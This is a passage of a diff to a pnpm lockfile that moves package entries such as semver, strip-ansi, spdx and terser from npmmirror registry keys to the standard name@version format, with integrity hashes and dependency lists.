sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==} + hasBin: true + dev: true + + /semver@6.3.0: + resolution: {integrity: sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==} + hasBin: true dev: true - registry.npmmirror.com/semver/5.7.1: - resolution: {integrity: sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/semver/-/semver-5.7.1.tgz} - name: semver - version: 5.7.1 + /semver@7.0.0: + resolution: {integrity: sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==} hasBin: true dev: true - registry.npmmirror.com/semver/6.3.0: - resolution: {integrity: sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/semver/-/semver-6.3.0.tgz} - name: semver - version: 6.3.0 + /semver@7.3.7: + resolution: {integrity: sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==} + engines: {node: '>=10'} hasBin: true + dependencies: + lru-cache: 6.0.0 dev: true - registry.npmmirror.com/semver/7.0.0: - resolution: {integrity: sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/semver/-/semver-7.0.0.tgz} - name: semver - version: 7.0.0 + /semver@7.3.8: + resolution: {integrity: sha512-NB1ctGL5rlHrPJtFDVIVzTyQylMLu9N9VICA6HSFJo8MCGVTMW6gfpicwKmmK/dAjTOrqu5l63JJOpDSrAis3A==} + engines: {node: '>=10'} hasBin: true + dependencies: + lru-cache: 6.0.0 dev: true - registry.npmmirror.com/semver/7.3.8: - resolution: {integrity: sha512-NB1ctGL5rlHrPJtFDVIVzTyQylMLu9N9VICA6HSFJo8MCGVTMW6gfpicwKmmK/dAjTOrqu5l63JJOpDSrAis3A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/semver/-/semver-7.3.8.tgz} - name: semver - version: 7.3.8 + /semver@7.5.4: + resolution: {integrity: sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==} engines: {node: '>=10'} hasBin: true dependencies: - lru-cache: registry.npmmirror.com/lru-cache/6.0.0 + lru-cache: 6.0.0 dev: true - registry.npmmirror.com/serialize-javascript/4.0.0: - resolution: {integrity: sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/serialize-javascript/-/serialize-javascript-4.0.0.tgz} - name: serialize-javascript - version: 4.0.0 + /serialize-javascript@4.0.0: + resolution: {integrity: sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==} dependencies: - randombytes: registry.npmmirror.com/randombytes/2.1.0 + randombytes: 2.1.0 + dev: true + + /set-blocking@2.0.0: + resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} dev: true - registry.npmmirror.com/shebang-command/2.0.0: - resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz} - name: shebang-command - version: 2.0.0 + /shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} engines: {node: '>=8'} dependencies: - shebang-regex: registry.npmmirror.com/shebang-regex/3.0.0 + shebang-regex: 3.0.0 dev: true - registry.npmmirror.com/shebang-regex/3.0.0: - resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz} - name: shebang-regex - version: 3.0.0 + /shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} engines: {node: '>=8'} dev: true - registry.npmmirror.com/side-channel/1.0.4: - resolution: {integrity: sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/side-channel/-/side-channel-1.0.4.tgz} - name: side-channel - version: 1.0.4 + /side-channel@1.0.4: + resolution: {integrity: sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 - object-inspect: registry.npmmirror.com/object-inspect/1.12.0 + call-bind: 1.0.2 + get-intrinsic: 1.1.1 + object-inspect: 1.12.0 dev: true - registry.npmmirror.com/signal-exit/3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/signal-exit/-/signal-exit-3.0.7.tgz} - name: signal-exit - version: 3.0.7 + /signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} dev: true - registry.npmmirror.com/sitemap/7.1.1: - resolution: {integrity: sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/sitemap/-/sitemap-7.1.1.tgz} - name: sitemap - version: 7.1.1 + /sitemap@7.1.1: + resolution: {integrity: sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg==} engines: {node: '>=12.0.0', npm: '>=5.6.0'} hasBin: true dependencies: - '@types/node': registry.npmmirror.com/@types/node/17.0.32 - '@types/sax': registry.npmmirror.com/@types/sax/1.2.4 - arg: registry.npmmirror.com/arg/5.0.1 - sax: registry.npmmirror.com/sax/1.2.4 + '@types/node': 17.0.32 + '@types/sax': 1.2.4 + arg: 5.0.1 + sax: 1.2.4 dev: true - registry.npmmirror.com/slash/4.0.0: - resolution: {integrity: sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/slash/-/slash-4.0.0.tgz} - name: slash - version: 4.0.0 + /slash@4.0.0: + resolution: {integrity: sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==} engines: {node: '>=12'} dev: true - registry.npmmirror.com/slick/1.12.2: - resolution: {integrity: sha512-4qdtOGcBjral6YIBCWJ0ljFSKNLz9KkhbWtuGvUyRowl1kxfuE1x/Z/aJcaiilpb3do9bl5K7/1h9XC5wWpY/A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/slick/-/slick-1.12.2.tgz} - name: slick - version: 1.12.2 + /slimsearch@1.0.0: + resolution: {integrity: sha512-ig1Du+U5LFngeDokhUupBqmEz3aKRJ4v+R2t6ZOi3aPGaFivYxxOiDcJX7fR0xPxjmTe94rAA6RW5gKlX5Gcsg==} dev: true - registry.npmmirror.com/source-map-js/1.0.2: - resolution: {integrity: sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/source-map-js/-/source-map-js-1.0.2.tgz} - name: source-map-js - version: 1.0.2 + /source-map-js@1.0.2: + resolution: {integrity: sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==} engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/source-map-support/0.5.21: - resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/source-map-support/-/source-map-support-0.5.21.tgz} - name: source-map-support - version: 0.5.21 + /source-map-support@0.5.21: + resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} dependencies: - buffer-from: registry.npmmirror.com/buffer-from/1.1.2 - source-map: registry.npmmirror.com/source-map/0.6.1 + buffer-from: 1.1.2 + source-map: 0.6.1 dev: true - registry.npmmirror.com/source-map/0.6.1: - resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz} - name: source-map - version: 0.6.1 + /source-map@0.6.1: + resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/source-map/0.8.0-beta.0: - resolution: {integrity: sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/source-map/-/source-map-0.8.0-beta.0.tgz} - name: source-map - version: 0.8.0-beta.0 + /source-map@0.8.0-beta.0: + resolution: {integrity: sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==} engines: {node: '>= 8'} dependencies: - whatwg-url: registry.npmmirror.com/whatwg-url/7.1.0 + whatwg-url: 7.1.0 + dev: true + + /sourcemap-codec@1.4.8: + resolution: {integrity: sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==} + dev: true + + /spdx-correct@3.1.1: + resolution: {integrity: sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==} + dependencies: + spdx-expression-parse: 3.0.1 + spdx-license-ids: 3.0.11 + dev: true + + /spdx-exceptions@2.3.0: + resolution: {integrity: sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==} + dev: true + + /spdx-expression-parse@3.0.1: + resolution: {integrity: sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==} + dependencies: + spdx-exceptions: 2.3.0 + spdx-license-ids: 3.0.11 dev: true - registry.npmmirror.com/sourcemap-codec/1.4.8: - resolution: {integrity: sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz} - name: sourcemap-codec - version: 1.4.8 + /spdx-license-ids@3.0.11: + resolution: {integrity: sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g==} dev: true - registry.npmmirror.com/speech-rule-engine/4.0.7: - resolution: {integrity: sha512-sJrL3/wHzNwJRLBdf6CjJWIlxC04iYKkyXvYSVsWVOiC2DSkHmxsqOhEeMsBA9XK+CHuNcsdkbFDnoUfAsmp9g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/speech-rule-engine/-/speech-rule-engine-4.0.7.tgz} - name: speech-rule-engine - version: 4.0.7 + /speech-rule-engine@4.0.7: + resolution: {integrity: sha512-sJrL3/wHzNwJRLBdf6CjJWIlxC04iYKkyXvYSVsWVOiC2DSkHmxsqOhEeMsBA9XK+CHuNcsdkbFDnoUfAsmp9g==} hasBin: true dependencies: - commander: registry.npmmirror.com/commander/9.2.0 - wicked-good-xpath: registry.npmmirror.com/wicked-good-xpath/1.3.0 - xmldom-sre: registry.npmmirror.com/xmldom-sre/0.1.31 + commander: 9.2.0 + wicked-good-xpath: 1.3.0 + xmldom-sre: 0.1.31 dev: true - registry.npmmirror.com/sprintf-js/1.0.3: - resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz} - name: sprintf-js - version: 1.0.3 + /split2@3.2.2: + resolution: {integrity: sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==} + dependencies: + readable-stream: 3.6.0 + dev: true + + /sprintf-js@1.0.3: + resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} dev: true - registry.npmmirror.com/string.prototype.matchall/4.0.7: - resolution: {integrity: sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz} - name: string.prototype.matchall - version: 4.0.7 + /stdin-discarder@0.1.0: + resolution: {integrity: sha512-xhV7w8S+bUwlPTb4bAOUQhv8/cSS5offJuX8GQGq32ONF0ZtDWKfkdomM3HMRA+LhX6um/FZ0COqlwsjD53LeQ==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - define-properties: registry.npmmirror.com/define-properties/1.1.4 - es-abstract: registry.npmmirror.com/es-abstract/1.20.0 - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 - internal-slot: registry.npmmirror.com/internal-slot/1.0.3 - regexp.prototype.flags: registry.npmmirror.com/regexp.prototype.flags/1.4.3 - side-channel: registry.npmmirror.com/side-channel/1.0.4 + bl: 5.1.0 dev: true - registry.npmmirror.com/string.prototype.trimend/1.0.5: - resolution: {integrity: sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz} - name: string.prototype.trimend - version: 1.0.5 + /string-width@2.1.1: + resolution: {integrity: sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==} + engines: {node: '>=4'} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - define-properties: registry.npmmirror.com/define-properties/1.1.4 - es-abstract: registry.npmmirror.com/es-abstract/1.20.0 + is-fullwidth-code-point: 2.0.0 + strip-ansi: 4.0.0 dev: true - registry.npmmirror.com/string.prototype.trimstart/1.0.5: - resolution: {integrity: sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz} - name: string.prototype.trimstart - version: 1.0.5 + /string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - define-properties: registry.npmmirror.com/define-properties/1.1.4 - es-abstract: registry.npmmirror.com/es-abstract/1.20.0 + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 dev: true - registry.npmmirror.com/string_decoder/1.3.0: - resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz} - name: string_decoder - version: 1.3.0 + /string.prototype.matchall@4.0.7: + resolution: {integrity: sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==} dependencies: - safe-buffer: registry.npmmirror.com/safe-buffer/5.2.1 + call-bind: 1.0.2 + define-properties: 1.1.4 + es-abstract: 1.20.0 + get-intrinsic: 1.1.1 + has-symbols: 1.0.3 + internal-slot: 1.0.3 + regexp.prototype.flags: 1.4.3 + side-channel: 1.0.4 dev: true - registry.npmmirror.com/stringify-object/3.3.0: - resolution: {integrity: sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/stringify-object/-/stringify-object-3.3.0.tgz} - name: stringify-object - version: 3.3.0 + /string.prototype.trimend@1.0.5: + resolution: {integrity: sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==} + dependencies: + call-bind: 1.0.2 + define-properties: 1.1.4 + es-abstract: 1.20.0 + dev: true + + /string.prototype.trimstart@1.0.5: + resolution: {integrity: sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==} + dependencies: + call-bind: 1.0.2 + define-properties: 1.1.4 + es-abstract: 1.20.0 + dev: true + + /string_decoder@1.3.0: + resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + dependencies: + safe-buffer: 5.2.1 + dev: true + + /stringify-object@3.3.0: + resolution: {integrity: sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==} + engines: {node: '>=4'} + dependencies: + get-own-enumerable-property-symbols: 3.0.2 + is-obj: 1.0.1 + is-regexp: 1.0.0 + dev: true + + /strip-ansi@4.0.0: + resolution: {integrity: sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==} engines: {node: '>=4'} dependencies: - get-own-enumerable-property-symbols: registry.npmmirror.com/get-own-enumerable-property-symbols/3.0.2 - is-obj: registry.npmmirror.com/is-obj/1.0.1 - is-regexp: registry.npmmirror.com/is-regexp/1.0.0 + ansi-regex: 3.0.1 + dev: true + + /strip-ansi@5.2.0: + resolution: {integrity: sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==} + engines: {node: '>=6'} + dependencies: + ansi-regex: 4.1.1 dev: true - registry.npmmirror.com/strip-ansi/6.0.1: - resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz} - name: strip-ansi - version: 6.0.1 + /strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} engines: {node: '>=8'} dependencies: - ansi-regex: registry.npmmirror.com/ansi-regex/5.0.1 + ansi-regex: 5.0.1 dev: true - registry.npmmirror.com/strip-ansi/7.0.1: - resolution: {integrity: sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/strip-ansi/-/strip-ansi-7.0.1.tgz} - name: strip-ansi - version: 7.0.1 + /strip-ansi@7.0.1: + resolution: {integrity: sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==} engines: {node: '>=12'} dependencies: - ansi-regex: registry.npmmirror.com/ansi-regex/6.0.1 + ansi-regex: 6.0.1 dev: true - registry.npmmirror.com/strip-bom-string/1.0.0: - resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/strip-bom-string/-/strip-bom-string-1.0.0.tgz} - name: strip-bom-string - version: 1.0.0 + /strip-bom-string@1.0.0: + resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/strip-comments/2.0.1: - resolution: {integrity: sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/strip-comments/-/strip-comments-2.0.1.tgz} - name: strip-comments - version: 2.0.1 + /strip-bom@4.0.0: + resolution: {integrity: sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==} + engines: {node: '>=8'} + dev: true + + /strip-comments@2.0.1: + resolution: {integrity: sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==} engines: {node: '>=10'} dev: true - registry.npmmirror.com/strip-final-newline/2.0.0: - resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz} - name: strip-final-newline - version: 2.0.0 + /strip-final-newline@2.0.0: + resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} engines: {node: '>=6'} dev: true - registry.npmmirror.com/strip-final-newline/3.0.0: - resolution: {integrity: sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/strip-final-newline/-/strip-final-newline-3.0.0.tgz} - name: strip-final-newline - version: 3.0.0 + /strip-final-newline@3.0.0: + resolution: {integrity: sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==} engines: {node: '>=12'} dev: true - registry.npmmirror.com/striptags/3.2.0: - resolution: {integrity: sha512-g45ZOGzHDMe2bdYMdIvdAfCQkCTDMGBazSw1ypMowwGIee7ZQ5dU0rBJ8Jqgl+jAKIv4dbeE1jscZq9wid1Tkw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/striptags/-/striptags-3.2.0.tgz} - name: striptags - version: 3.2.0 + /strip-indent@3.0.0: + resolution: {integrity: sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==} + engines: {node: '>=8'} + dependencies: + min-indent: 1.0.1 + dev: true + + /strip-json-comments@3.0.1: + resolution: {integrity: sha512-VTyMAUfdm047mwKl+u79WIdrZxtFtn+nBxHeb844XBQ9uMNTuTHdx2hc5RiAJYqwTj3wc/xe5HLSdJSkJ+WfZw==} + engines: {node: '>=8'} + dev: true + + /striptags@3.2.0: + resolution: {integrity: sha512-g45ZOGzHDMe2bdYMdIvdAfCQkCTDMGBazSw1ypMowwGIee7ZQ5dU0rBJ8Jqgl+jAKIv4dbeE1jscZq9wid1Tkw==} + dev: true + + /stylis@4.1.3: + resolution: {integrity: sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==} + dev: true + + /supports-color@5.5.0: + resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} + engines: {node: '>=4'} + dependencies: + has-flag: 3.0.0 + dev: true + + /supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + dependencies: + has-flag: 4.0.0 + dev: true + + /supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + dev: true + + /temp-dir@2.0.0: + resolution: {integrity: sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==} + engines: {node: '>=8'} + dev: true + + /tempy@0.6.0: + resolution: {integrity: sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==} + engines: {node: '>=10'} + dependencies: + is-stream: 2.0.1 + temp-dir: 2.0.0 + type-fest: 0.16.0 + unique-string: 2.0.0 + dev: true + + /terser@5.15.1: + resolution: {integrity: 